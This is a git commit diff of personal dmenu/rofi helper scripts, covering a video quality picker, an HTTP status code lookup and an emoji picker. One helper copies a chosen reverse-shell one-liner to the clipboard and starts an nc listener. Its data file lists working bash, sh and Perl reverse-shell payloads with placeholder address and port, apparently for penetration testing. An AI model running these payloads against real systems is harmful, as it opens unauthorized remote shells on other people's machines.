Small changes to dmenu-like scripts
This commit is contained in:
parent
38e202f3e0
commit
104bee1cfd
6 changed files with 21 additions and 19 deletions
|
@ -1 +0,0 @@
|
|||
/usr/bin/rofi
|
|
@ -6,7 +6,7 @@ if [ -z "$url" ]; then
|
|||
url=$(rofi -dmenu -p 'URL')
|
||||
fi
|
||||
|
||||
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu | awk '{print $1}')
|
||||
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu -p Quality | awk '{print $1}')
|
||||
|
||||
mpv "$url" --ytdl-format="$code"
|
||||
|
||||
|
|
|
@ -36,14 +36,26 @@ function getReverseShell() {
|
|||
cut -d'|' -f2-
|
||||
}
|
||||
|
||||
function getRows(){
|
||||
stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3
|
||||
}
|
||||
|
||||
function getCols(){
|
||||
stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3
|
||||
}
|
||||
|
||||
function display() {
|
||||
ip=$(getIP)
|
||||
port=$(getPort)
|
||||
reverseShell=$(getReverseShell $ip $port)
|
||||
|
||||
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
|
||||
echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary
|
||||
|
||||
nc -lvnp $port
|
||||
#Put the tty back to normal
|
||||
# This is useful if I got a nice shell before
|
||||
stty -raw echo
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
|
||||
BASH REVERSE SHELL|bash -c 'bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1'
|
||||
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
|
||||
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
|
|
5
bin/.bin/dmenu/status-codes
Executable file
5
bin/.bin/dmenu/status-codes
Executable file
|
@ -0,0 +1,5 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
|
||||
|
||||
cat "$SCRIPTPATH/http-status-codes" | fzf
|
|
@ -6,18 +6,8 @@
|
|||
# Requirements:
|
||||
# rofi, xsel, xdotool, curl, xmllint
|
||||
#
|
||||
# Usage:
|
||||
# 1. Download all emoji
|
||||
# $ rofi-emoji --download
|
||||
#
|
||||
# 2. Run it!
|
||||
# $ rofi-emoji
|
||||
#
|
||||
# Notes:
|
||||
# * You'll need a emoji font like "Noto Emoji" or "EmojiOne".
|
||||
# * Confirming an item will automatically paste it WITHOUT
|
||||
# writing it to your clipboard.
|
||||
# * Ctrl+C will copy it to your clipboard WITHOUT pasting it.
|
||||
#
|
||||
|
||||
# Where to save the emojis file.
|
||||
|
@ -33,17 +23,12 @@ function notify() {
|
|||
|
||||
function display() {
|
||||
emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$')
|
||||
line=$(echo "$emoji" | dmenu -i -p Unicode -kb-custom-1 Ctrl+c $@)
|
||||
line=$(echo "$emoji" | rofi -dmenu -i -p Unicode)
|
||||
exit_code=$?
|
||||
|
||||
line=($line)
|
||||
|
||||
if [ $exit_code == 0 ]; then
|
||||
xdotool type --clearmodifiers "${line[0]}"
|
||||
elif [ $exit_code == 10 ]; then
|
||||
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
|
||||
|
||||
fi
|
||||
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
|
||||
}
|
||||
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue